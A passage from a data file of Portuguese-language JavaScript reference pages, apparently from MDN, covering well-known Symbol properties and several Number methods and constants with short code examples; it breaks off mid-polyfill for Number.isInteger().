{"title":"Symbol.asyncIterator - JavaScript","text":"Symbol.asyncIterator\n====================\n\nO **`Symbol.asyncIterator`** é um símbolo conhecido que especifica o padrão AsyncIterator para um objeto. Se essa propriedade é configurada em um objeto, é um iterável assíncrono e pode ser usado in um `for await...of` loop.\n\nDescrição\n---------\n\nO `Symbol.asyncIterator` é um símbolo built-in que é usado para um acessar o método `@@asyncIterator` de um objeto. Para que um objeto seja iterável assíncrono, ele deve ter uma chave `Symbol.asyncIterator`.\n\n| Property attributes of `Symbol.asyncIterator` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nExemplos\n--------\n\n### Iteráveis assíncronos definidos pelo usuário\n\nVocê consegue definir seu próprio iterável assíncrono configurando a propriedade `[Symbol.asyncIterator]` em um objeto.\n\n\n```js\nconst myAsyncIterable = {\n  async \\*[Symbol.asyncIterator]() {\n    yield \"hello\";\n    yield \"async\";\n    yield \"iteration!\";\n  },\n};\n\n(async () => {\n  for await (const x of myAsyncIterable) {\n    console.log(x);\n    // resultado esperado:\n    // \"hello\"\n    // \"async\"\n    // \"iteration!\"\n  }\n})();\n```\n\n\nQuando criando uma API, lembre que iteráveis assíncronos são programados para representar algum iterável — como um fluxo de dados ou uma lista —, não para substituir completamente chamadas e eventos na maioria das situações.\n\n### Iteráveis assíncronos\n\nNão há atualmente objetos Javascript built-in que tenha a chave `[Symbol.asyncIterator]` configurada por padrão. Entretanto, a WHATWG Streams estão configurando para que o primeiro objeto built-in seja um iterável assíncrono, com a recente chegada do `[Symbol.asyncIterator]` nas especificações.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol.asynciterator |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVejá também\n-----------\n\n* Iteration protocols\n* for await... of"}
{"title":"Symbol.prototype.description - JavaScript","text":"Symbol.prototype.description\n============================\n\nA propriedade leitura somente **`description`** é uma string que retorna a descrição opcional de objetos `Symbol`.\n\nExperimente\n-----------\n\nDescrição\n---------\n\n`Symbol` objetos podem ser criados com uma uma descrição opcional na qual podem ser usados para debbuging mas não para acessar o próprio símbolo. A `Symbol.prototype.description` propriedade pode ser usada para ler essa descrição. É diferente do `Symbol.prototype.toString()` pois não contém a string incluida \"`Symbol()`\". Veja os exemplos.\n\nExemplos\n--------\n\n### Usando descrição\n\n\n```js\nSymbol(\"desc\").toString(); // \"Symbol(desc)\"\nSymbol(\"desc\").description; // \"desc\"\nSymbol(\"\").description; // \"\"\nSymbol().description; // undefined\n\n// símbolos conhecidos\nSymbol.iterator.toString(); // \"Symbol(Symbol.iterator)\"\nSymbol.iterator.description; // \"Symbol.iterator\"\n\n// símbolos globais\nSymbol.for(\"foo\").toString(); // \"Symbol(foo)\"\nSymbol.for(\"foo\").description; // \"foo\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol.prototype.description |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Symbol.prototype.toString()` (en-US)\n* Polyfill: https://npmjs.com/symbol.prototype.description"}
{"title":"Symbol.split - JavaScript","text":"Symbol.split\n============\n\nO **`Symbol.split`** é um símbolo conhecido que especifica o método que divide uma string nos índices correspondentes a uma expressão regular. Essa função é chamada pelo método `String.prototype.split()`.\n\nPara mais informações, veja `RegExp.prototype[@@split]()` (en-US) e `String.prototype.split()`.\n\nExperimente\n-----------\n\n| Property attributes of `Symbol.split` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nExemplos\n--------\n\n### Divisão reversa personalizada\n\n\n```js\nclass ReverseSplit {\n  [Symbol.split](string) {\n    const array = string.split(\" \");\n    return array.reverse();\n  }\n}\n\nconsole.log(\"Another one bites the dust\".split(new ReverseSplit()));\n// resultado esperado: [ \"dust\", \"the\", \"bites\", \"one\", \"Another\" ]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol.split |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Symbol.match`\n* `Symbol.replace`\n* `Symbol.search`\n* `RegExp.prototype[@@split]()` (en-US)"}
{"title":"Symbol.species - JavaScript","text":"Symbol.species\n==============\n\nO símbolo **`Symbol.species`** especifica uma propriedade valor-função que a função construtora usa para criar objetos derivados.\n\nExperimente\n-----------\n\nDescrição\n---------\n\nA propriedade acessora de espécies permite que subclasses substituam o construtor padrão para objetos.\n\n| Property attributes of `Symbol.species` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nExemplos\n--------\n\n### Usando espécies\n\nVocê pode querer que retorne objetos `Array` em sua class derivada de array `MyArray`. Por exemplo, quando usar métodos tais como `map()` que retorna o construtor padrão, você quer que esses métodos retornem um objeto `Array` pai, em vez do objeto `MyArray`. Esses símbolos espécies permitem que você fala isso:\n\n\n```js\nclass MyArray extends Array {\n  // Substitui espécies para a Array pai construtora\n  static get [Symbol.species]() {\n    return Array;\n  }\n}\nlet a = new MyArray(1, 2, 3);\nlet mapped = a.map((x) => x \\* x);\n\nconsole.log(mapped instanceof MyArray); // false\nconsole.log(mapped instanceof Array); // true\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol.species |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Map[@@species]`\n* `Set[@@species]` (en-US)"}
{"title":"Symbol.unscopables - JavaScript","text":"Symbol.unscopables\n==================\n\nO símbolo **`Symbol.unscopables`** é usado para específicar um valor objeto cujo os nomes de propriedade próprio e herdados são excluídos das associações do ambiente `with` o objeto associado.\n\nExperimente\n-----------\n\nDescrição\n---------\n\nO `@@unscopables` símbolo (`Symbol.unscopables`) pode ser definido em qualquer objeto para impedir que os nomes da propriedade sejam expostos como variavéis lexicais `with` ligações de ambiente. Note que se usar o Strict mode, `with` as declarações não estão disponíveis e provavelmente não haverá necessidade desse símbolo.\n\nConfigurando a propriedade para `true` em um objeto `unscopables` tornará ele não *unscopable* e portanto não irá apareer nas variavéis de escopo lexicais. Configurando uma propriedade para `false` o tornará `scopable` e portanto irá aparecer no escopo de variavéis lexicais.\n\n| Property attributes of `Symbol.unscopables` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nExemplos\n--------\n\n### Escopo com declarações\n\nO seguinte código funciona normalmente no ES5 e anteriores. Entretanto, no ECMAScript 2015 e superiores, o método `Array.prototype.keys()` foi introduzido. Isso significa que dentro do ambiente `with` \"chaves\" seria agora o método e não as variavéis. Isso qunado os símbolos `unscopable`s foram introduzidos. Uma confiração built-in `unscopables` é implementada como `Array.prototype[@@unscopables]` para prevenir que alguns métodos de Array tenham escopo definido na desclaração `with`.\n\n\n```js\nvar keys = [];\n\nwith (Array.prototype) {\n  keys.push(\"something\");\n}\n\nObject.keys(Array.prototype[Symbol.unscopables]);\n// [\"copyWithin\", \"entries\", \"fill\", \"find\", \"findIndex\",\n// \"includes\", \"keys\", \"values\"]\n```\n\n### Objetos não escopáveis\n\nVocê também pode configurar `unscopables` para seu próprio objeot.\n\n\n```js\nvar obj = {\n  foo: 1,\n  bar: 2,\n};\n\nobj[Symbol.unscopables] = {\n  foo: false,\n  bar: true,\n};\n\nwith (obj) {\n  console.log(foo); // 1\n  console.log(bar); // ReferenceError: bar is not defined\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol.unscopables |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype[@@unscopables]`\n* `with` statement (not available in Strict mode)"}
{"title":"Symbol.toPrimitive - JavaScript","text":"Symbol.toPrimitive\n==================\n\nO **`Symbol.toPrimitive`** é um símbolo que específica uma propriedade com valor função que é chamada para converter um ojbeto para um valor primitivo correspondente.\n\nExperimente\n-----------\n\nDescrição\n---------\n\nCom a ajuda da propriedade **`Symbol.toPrimitive`** (usada como uma função valor), um objeto pode ser convertido para um valor primitivo. a função é chamada com um argumento string **`hint`**, que espcífica o tipo de preferência do resultado do valor primitivo. O argumento **`hint`** pode ser um `\"number\"`, `\"string\"`, e `\"default\"`.\n\n| Property attributes of `Symbol.toPrimitive` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nExemplos\n--------\n\n### Modificando valores primitivos convertendo para um objeto\n\nO exemplo a seguir descreve que a propriedade **`Symbol.toPrimitive`** pode ser modificar o valor primitivo convertendo para um objeto.\n\n\n```js\n// Um objeto sem propriedade Symbol.toPrimitive.\nvar obj1 = {};\nconsole.log(+obj1); // NaN\nconsole.log(`${obj1}`); // \"[object Object]\"\nconsole.log(obj1 + \"\"); // \"[object Object]\"\n\n// Um objeto com propriedade Symbol.toPrimitive\nvar obj2 = {\n  [Symbol.toPrimitive](hint) {\n    if (hint == \"number\") {\n      return 10;\n    }\n    if (hint == \"string\") {\n      return \"hello\";\n    }\n    return true;\n  },\n};\nconsole.log(+obj2); // 10 -- dica é \"number\"\nconsole.log(`${obj2}`); // \"hello\" -- dica é \"string\"\nconsole.log(obj2 + \"\"); // \"true\" -- dica é \"default\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol.toprimitive |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype[@@toPrimitive]`\n* `Symbol.prototype[@@toPrimitive]` (en-US)\n* `Object.prototype.toString()`\n* `Object.prototype.valueOf()`"}
{"title":"Symbol.hasInstance - JavaScript","text":"Symbol.hasInstance\n==================\n\nO symbol bem-conhecido **`Symbol.hasInstance`** é usado para determinar se um objeto construtor reconhece um objeto como de sua instância. O comportamento do operador `instanceof` pode ser customizado por este symbol.\n\n| Property attributes of `Symbol.hasInstance` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nExemplos\n--------\n\nVocê pode implementar o comportamento customizado do seu `instanceof` deste jeito; por exemplo:\n\n\n```js\nclass MyArray {\n  static [Symbol.hasInstance](instance) {\n    return this.prototype.isPrototypeOf(instance) || Array.isArray(instance);\n  }\n}\n\nconsole.log([] instanceof MyArray); // true\nconsole.log(new MyArray() instanceof MyArray); // true\nconsole.log(new Image() instanceof MyArray); // false\n\nclass MySubArray extends MyArray {}\nconsole.log(new MySubArray() instanceof MySubArray); // true\nconsole.log(new MySubArray() instanceof MyArray); // true\nconsole.log(new MyArray() instanceof MySubArray); // false\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol.hasinstance |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `instanceof`\n* `isPrototypeOf()`"}
{"title":"Symbol.search - JavaScript","text":"Symbol.search\n=============\n\nO símbolo **`Symbol.search`** é um método conhecido por retornar o índice com uma string que corresponde a expressão regular. Essa função é chamada pelo método `String.prototype.search()`.\n\nPara mais informação, veja `RegExp.prototype[@@search]()` (en-US) e `String.prototype.search()`.\n\nExperimente\n-----------\n\n| Property attributes of `Symbol.search` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nExemplos\n--------\n\n### Pesquisa de string personalizada\n\n\n```js\nclass caseInsensitiveSearch {\n  constructor(value) {\n    this.value = value.toLowerCase();\n  }\n  [Symbol.search](string) {\n    return string.toLowerCase().indexOf(this.value);\n  }\n}\n\nconsole.log(\"foobar\".search(new caseInsensitiveSearch(\"BaR\")));\n// resultado esperado: 3\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol.search |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Symbol.match`\n* `Symbol.replace`\n* `Symbol.split`\n* `RegExp.prototype[@@search]()` (en-US)"}
{"title":"Symbol.toStringTag - JavaScript","text":"Symbol.toStringTag\n==================\n\nO símbolo **`Symbol.toStringTag`** é uma propriedade com valor string que é usada para a criação de uma descrição de string de um objeto padrão. É acessado internalmente pelo método `Object.prototype.toString()`.\n\nExperimente\n-----------\n\n| Property attributes of `Symbol.toStringTag` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nExemplos\n--------\n\n### Tags padrões\n\n\n```js\nObject.prototype.toString.call(\"foo\"); // \"[object String]\"\nObject.prototype.toString.call([1, 2]); // \"[object Array]\"\nObject.prototype.toString.call(3); // \"[object Number]\"\nObject.prototype.toString.call(true); // \"[object Boolean]\"\nObject.prototype.toString.call(undefined); // \"[object Undefined]\"\nObject.prototype.toString.call(null); // \"[object Null]\"\n// ... e mais\n```\n\n### Símbolos built-in toStringTag\n\n\n```js\nObject.prototype.toString.call(new Map()); // \"[object Map]\"\nObject.prototype.toString.call(function\\* () {}); // \"[object GeneratorFunction]\"\nObject.prototype.toString.call(Promise.resolve()); // \"[object Promise]\"\n// ... e mais\n```\n\n### Classes personalizadas para objeto tag\n\nQuando cria sua própria classe, o JavaScript padroniza para \"Object\" tag:\n\n\n```js\nclass ValidatorClass {}\n\nObject.prototype.toString.call(new ValidatorClass()); // \"[object Object]\"\n```\n\n### Tag costumizada com toStringTag\n\nAgora, com a ajuda do `toStringTag`, você é capaz de costumizar sua própria tag:\n\n\n```js\nclass ValidatorClass {\n  get [Symbol.toStringTag]() {\n    return \"Validator\";\n  }\n}\n\nObject.prototype.toString.call(new ValidatorClass()); // \"[object Validator]\"\n```\n\n### toStringTag disponível em todos os objetos protótipos da DOM\n\nDevido a uma mudança nas especificações WebIDL spec change em meados de 2020, navegadores estão adicionando uma propriedade `Symbol.toStringTag` para todos os objetos protótipos da DOM . Por exemplo, para acessar a propriedade `Symbol.toStringTag` no `HTMLButtonElement` (en-US):\n\n\n```js\nlet test = document.createElement(\"button\");\ntest.toString(); // Retorna [object HTMLButtonElement]\ntest[Symbol.toStringTag]; // Retona HTMLButtonElement\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol.tostringtag |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.prototype.toString()`"}
{"title":"Symbol.replace - JavaScript","text":"Symbol.replace\n==============\n\nO símbolo **`Symbol.replace`** é conhecido por especificar o método que substitui as substrings conrrespondentes de uma string. Essa função é chamada pelo método `String.prototype.replace()`.\n\nPara mais informações, veja `RegExp.prototype[@@replace]()` (en-US) e `String.prototype.replace()`.\n\nExperimente\n-----------\n\n| Property attributes of `Symbol.replace` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nExemplos\n--------\n\n### Usando Symbol.replace\n\n\n```js\nclass CustomReplacer {\n  constructor(value) {\n    this.value = value;\n  }\n  [Symbol.replace](string) {\n    return string.replace(this.value, \"#!@?\");\n  }\n}\n\nconsole.log(\"football\".replace(new CustomReplacer(\"foo\")));\n// resultado esperado: \"#!@?tball\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol.replace |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Symbol.match`\n* `Symbol.search`\n* `Symbol.split`\n* `RegExp.prototype[@@replace]()` (en-US)"}
{"title":"Symbol.match - JavaScript","text":"Symbol.match\n============\n\nO símbolo **`Symbol.match`** é conhecido por especificar a compatibilidade de uam expressão regular contra uma string. Essa função é chamada pelo método `String.prototype.match()`.\n\nExperimente\n-----------\n\nDescrição\n---------\n\nEssa função também é usada para identificar se um objeto tem o comportamento de uma expressão regular. Por exemplo, os métodos `String.prototype.startsWith()`, `String.prototype.endsWith()` e `String.prototype.includes()`, verificar se o primeiro agumento é uma expressão regular e irá lançar um `TypeError` se eles forém. Agora, se o símbolo `match` é configurado para `false` (ou um valor Falsy ), ele indica que o objeto não tem intensão de ser usado como um ojbeto de expressão regular\n\n| Property attributes of `Symbol.match` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nExemplos\n--------\n\n### Desativando a verificação `isRegExp`\n\nO seguinte código vai lançar um `TypeError`:\n\n\n```js\n\"/bar/\".startsWith(/bar/);\n\n// Lança um TypeError, como /bar/ é uma expressão regular\n// não Symbol.match não é modificado.\n```\n\n\nEntretanto, se você configurar `Symbol.match` para `false`, a verificação `isRegExp` (que usa a propriedade `match` ) que o objeto não é uma expressão regular. O método `startsWith` e `endsWith` não vão lançar um `TypeError` como consequência.\n\n\n```js\nvar re = /foo/;\nre[Symbol.match] = false;\n\"/foo/\".startsWith(re); // true\n\"/baz/\".endsWith(re); // false\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol.match |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Symbol.replace`\n* `Symbol.search`\n* `Symbol.split`\n* `RegExp.prototype[@@match]()` (en-US)"}
{"title":"Symbol.isConcatSpreadable - JavaScript","text":"Symbol.isConcatSpreadable\n=========================\n\nO **`Symbol.isConcatSpreadable`** é um símbolo conhecido que é usado para configurar se um objeto deve ser achatado para um elemento da array quando usado o método `Array.prototype.concat()`.\n\nExperimente\n-----------\n\nDescrição\n---------\n\nO `@@isConcatSpreadable` símbolo (`Symbol.isConcatSpreadable`) pode também ser definido como uma propriedade própria ou herdada e seu valor é um booleano. Ele consegue controlar o comportamento das arrays e objetos semelhantes a array:\n\n* For array objects, the default behavior is to spread (flatten) elements. `Symbol.isConcatSpreadable` can avoid flattening in these cases.\n* For array-like objects, the default behavior is no spreading or flattening. `Symbol.isConcatSpreadable` can force flattening in these cases.\n\n| Property attributes of `Symbol.isConcatSpreadable` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nExemplos\n--------\n\n### Arrays\n\nPor padrão, o `Array.prototype.concat()` espalha (alinha) arrays no seus resultados:\n\n\n```js\nlet alpha = ['a', 'b', 'c'],\nlet numeric = [1, 2, 3]\n\nlet alphaNumeric = alpha.concat(numeric)\n\nconsole.log(alphaNumeric)  // Resultado: ['a', 'b', 'c', 1, 2, 3]\n```\n\n\nQuando configurando o `Symbol.isConcatSpreadable` para `false`, o comportamento padrão dele:\n\n\n```js\nlet alpha = ['a', 'b', 'c'],\nlet numeric = [1, 2, 3]\n\nnumeric[Symbol.isConcatSpreadable] = false\nlet alphaNumeric = alpha.concat(numeric)\n\nconsole.log(alphaNumeric)  // Resultado: ['a', 'b', 'c', [1, 2, 3] ]\n```\n\n### Objetos de array semelhantes\n\nPara objetos de array semelhantes, o padrão não é espalhado. `Symbol.isConcatSpreadable`precisa ser configurado para `true` para poder conseguir um a array alinhada:\n\n\n```js\nlet x = [1, 2, 3];\n\nlet fakeArray = {\n  [Symbol.isConcatSpreadable]: true,\n  length: 2,\n  0: \"hello\",\n  1: \"world\",\n};\n\nx.concat(fakeArray); // [1, 2, 3, \"hello\", \"world\"]\n```\n\n\n**Nota:** A propriedade `length` é usada para controlar o número de propriedade dos objetos para ser adicionado. No exemplo acima, `length:2` indica que duas propriedades tem de ser adicionado.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-symbol.isconcatspreadable |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.concat()`"}
{"title":"Number.prototype.toPrecision() - JavaScript","text":"Number.prototype.toPrecision()\n==============================\n\nO método **`toPrecision()`** retorna uma string que representa o valor do objeto `Number` com uma precisão específica.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nnumObj.toPrecision([precisão])\n```\n\n### Parâmetros\n\n`precisão`\n\nOpcional. Um inteiro especificando o número de algarismos significativos.\n\n### Retorno\n\nUma string representando um objeto `Number` em notação de ponto fixo ou exponencial arredondada segundo o parâmetro `precisão`. Veja a discussão sobre arredondamento feita na documentação do método `Number.prototype.toFixed()`, que também se aplica ao método `toPrecision()`.\n\nSe o parâmetro `precisão` for omitido, este método terá o mesmo comportamento de `Number.prototype.toString()`. Se o parâmetro `precisão` for um valor não inteiro, ele será arredondado para a sua representação mais próxima em inteiro.\n\n### Exceções\n\n`RangeError` (en-US)\n\nSe o valor de `precisão` não estiver compreendido entre 1 e 100 (inclusive), um `RangeError` (en-US) será lançado. É permitido às implementações suportar valores menores e maiores que esses, sendo um requisito do ECMA-262 que seja dado suporte a uma precisão de até 21 algarismos significativos.\n\nExemplos\n--------\n\n### Utilizando `toPrecision`\n\n\n```js\nvar numObj = 5.123456;\n\nconsole.log(numObj.toPrecision()); // logs '5.123456'\nconsole.log(numObj.toPrecision(5)); // logs '5.1235'\nconsole.log(numObj.toPrecision(2)); // logs '5.1'\nconsole.log(numObj.toPrecision(1)); // logs '5'\n\nnumObj = 0.000123;\n\nconsole.log(numObj.toPrecision()); // logs '0.000123'\nconsole.log(numObj.toPrecision(5)); // logs '0.00012300'\nconsole.log(numObj.toPrecision(2)); // logs '0.00012'\nconsole.log(numObj.toPrecision(1)); // logs '0.0001'\n\n// observe que a notação exponencial pode ser retornado em alguns casos\nconsole.log((1234.5).toPrecision(2)); // logs '1.2e+3'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.prototype.toprecision |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Number.prototype.toFixed()`\n* `Number.prototype.toExponential()` (en-US)\n* `Number.prototype.toString()`"}
{"title":"Number.NEGATIVE_INFINITY - JavaScript","text":"Number.NEGATIVE\\_INFINITY\n=========================\n\nA propriedade **`Number.NEGATIVE_INFINITY`** representa o valor Infinito negativo.\n\nExperimente\n-----------\n\n| Property attributes of `Number.NEGATIVE_INFINITY` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nO valor de `Number.NEGATIVE_INFINITY` é o mesmo que o valor negativo da propriedade do objeto global `Infinity`.\n\nO valor se comporta um pouco diferente do que o infinito matemático:\n\n* Qualquer valor positivo, incluindo `POSITIVE_INFINITY`, mutiplicado por `NEGATIVE_INFINITY` é `NEGATIVE_INFINITY`.\n* Qualquer valor negativo, incluindo `NEGATIVE_INFINITY`, multiplicado por `NEGATIVE_INFINITY` é `POSITIVE_INFINITY`.\n* Qualquer valor positivo dividido por `NEGATIVE_INFINITY` é zero negativo.\n* Qualquer valor negativo dividido por `NEGATIVE_INFINITY` é zero positivo.\n* Zero multiplicado por `NEGATIVE_INFINITY` é `NaN`.\n* `NaN` multiplicado por `NEGATIVE_INFINITY` é `NaN`.\n* `NEGATIVE_INFINITY`, dividido por qualquer valor negativo exceto `NEGATIVE_INFINITY`, é `POSITIVE_INFINITY`.\n* `NEGATIVE_INFINITY`, divido por qualquer valor positivo exceto `POSITIVE_INFINITY`, é `NEGATIVE_INFINITY`.\n* `NEGATIVE_INFINITY`, divido por ou `NEGATIVE_INFINITY` ou `POSITIVE_INFINITY`, é `NaN`.\n\nVocê pode usar a propriedade `Number.NEGATIVE_INFINITY` para indicar uma condição de erro que retorna um número finito em caso de sucesso. Nota que, usar `isFinite` seria mais apropriado neste caso.\n\nPor `NEGATIVE_INFINITY` ser uma propriedade estática de `Number`, você sempre a usa como `Number.NEGATIVE_INFINITY`, ao invés de ser uma propriedade do objeto `Number` que você criou.\n\nExemplos\n--------\n\n### Usando `NEGATIVE_INFINITY`\n\nNo seguinte exemplo, a variável `smallNumber` é atribuída um valor que é menor que o valor mínimo. Quando o `if` executa, `smallNumber` tem o valor `-Infinity`, então é colocado em `smallNumber` um valor mais manejável antes de continuar.\n\n\n```js\nvar smallNumber = -Number.MAX\\_VALUE \\* 2;\n\nif (smallNumber === Number.NEGATIVE\\_INFINITY) {\n  smallNumber = returnFinite();\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.negative\\_infinity |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Number.POSITIVE_INFINITY`\n* `Number.isFinite()`\n* `Infinity`\n* `isFinite()`"}
{"title":"Number.MAX_VALUE - JavaScript","text":"Number.MAX\\_VALUE\n=================\n\nA propriedade **`Number.MAX_VALUE`** representa o maior valor numérico representável em JavaScript.\n\nExperimente\n-----------\n\n| Property attributes of `Number.MAX_VALUE` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | no |\n\nDescrição\n---------\n\nA propriedade `MAX_VALUE` tem o valor de aproximadamente `1.79E+308`, ou 21024. Valores maiores que `MAX_VALUE` são representados como `Infinity`.\n\nPor `MAX_VALUE` ser uma propriedade estática de `Number`, você sempre deve usar como `Number.MAX_VALUE`, ao invés de uma propriedade do objeto `Number` que você criou.\n\nExemplos\n--------\n\n### Usando `MAX_VALUE`\n\nO código a seguir multiplica dois valores numéricos. Se o resultado é menor ou igual a `MAX_VALUE`, a função `func1` é chamada; caso contrário, a função `func2` é chamada.\n\n\n```js\nif (num1 \\* num2 <= Number.MAX\\_VALUE) {\n  func1();\n} else {\n  func2();\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.max\\_value |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Number.MIN_VALUE`\n* O objeto `Number` a qual ela pertence"}
{"title":"Number.prototype.toFixed() - JavaScript","text":"Number.prototype.toFixed()\n==========================\n\nO método **`toFixed()`** formata um número utilizando notação de ponto fixo.\n\nSintaxe\n-------\n```\n\nnumObj.toFixed([dígitos])\n```\n\n### Parâmetros\n\n`dígitos`\n\nOpcional. O número de dígitos que aparecem depois do ponto decimal; este pode ser um valor entre 0 e 20, inclusive, e algumas implementacões podem suportar uma variação de números maiores. Se este argumento for omitido, será tratado como 0.\n\n### Retorno\n\nUma string representando o número usando notação em ponto fixo.\n\n### Throws\n\n`RangeError` (en-US)\n\nSe `dígitos` for muito pequeno ou muito grande. Valores entre 0 e 20, inclusive, não irão causar o `RangeError` (en-US). É permitido às implementações suportar valores maiores e menores.\n\n`TypeError`\n\nSe este método for chamado em um objeto que não é `Number`.\n\nDescrição\n---------\n\nUma string representando `numObj` que não usa notação exponencial e tem exatamente `dígitos` dígitos depois da casa decimal. O número será arredondado se necessário, e será adicionado zeros a parte após a virgula para que este tenha o tamanho que foi especificado. Se o `numObj` for maior que `1e+21`, entao será invocado o método `Number.prototype.toString()` e será retornado uma string em notação exponencial.\n\nExemplos\n--------\n\n### Utilizando `toFixed`\n\n\n```js\nvar numObj = 12345.6789;\n\nnumObj.toFixed(); // Retorna '12346': note o arredondamento, não possui nenhuma parte fracionária\nnumObj.toFixed(1); // Retorna '12345.7': note o arredondamento\nnumObj.toFixed(6); // Retorna '12345.678900': note que adicionou zeros\n(1.23e20).toFixed(2); // Retorna '123000000000000000000.00'\n(1.23e-10).toFixed(2); // Retorna '0.00'\n(2.34).toFixed(1); // Retorna '2.3'\n(2.35).toFixed(1); // Retorna '2.4'. Note que arredonda para cima neste caso.\n-(2.34).toFixed(1); // Retorna -2.3 (devido à precedência do operador, literais de números negativos não retornam uma string...)\n(-2.34).toFixed(1); // Retorna '-2.3' (...a menos que se utilize parênteses)\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-number.prototype.tofixed |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Number.prototype.toExponential()` (en-US)\n* `Number.prototype.toPrecision()`\n* `Number.prototype.toString()`"}
{"title":"Number.isInteger() - JavaScript","text":"Number.isInteger()\n==================\n\nO método **`Number.isInteger()`** determina se o valor passado é um inteiro.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nNumber.isInteger(value)\n```\n\n### Parâmetros\n\n`value`\n\nO valor a testar se é um inteiro.\n\n### Valor retornado\n\nUm `Boolean` indicando se o valor é inteiro ou não.\n\nDescrição\n---------\n\nSe o alvo for um inteiro, retorna `true`, senão retorna `false`. Se o valor é `NaN` ou infinito, retorna `false`.\n\nExemplos\n--------\n\n\n```js\nNumber.isInteger(0); // true\nNumber.isInteger(1); // true\nNumber.isInteger(-100000); // true\n\nNumber.isInteger(0.1); // false\nNumber.isInteger(Math.PI); // false\n\nNumber.isInteger(Infinity); // false\nNumber.isInteger(-Infinity); // false\nNumber.isInteger(\"10\"); // false\nNumber.isInteger(true); // false\nNumber.isInteger(false); // false\nNumber.isInteger([1]); // false\n```\n\nPolyfill\n--------\n\n\n```js\nNumber.isInteger =\n  Number.isInteger ||\n  function (value) {\n    return (\n      typeof value === \"number\" &&\n      isFinite(value) 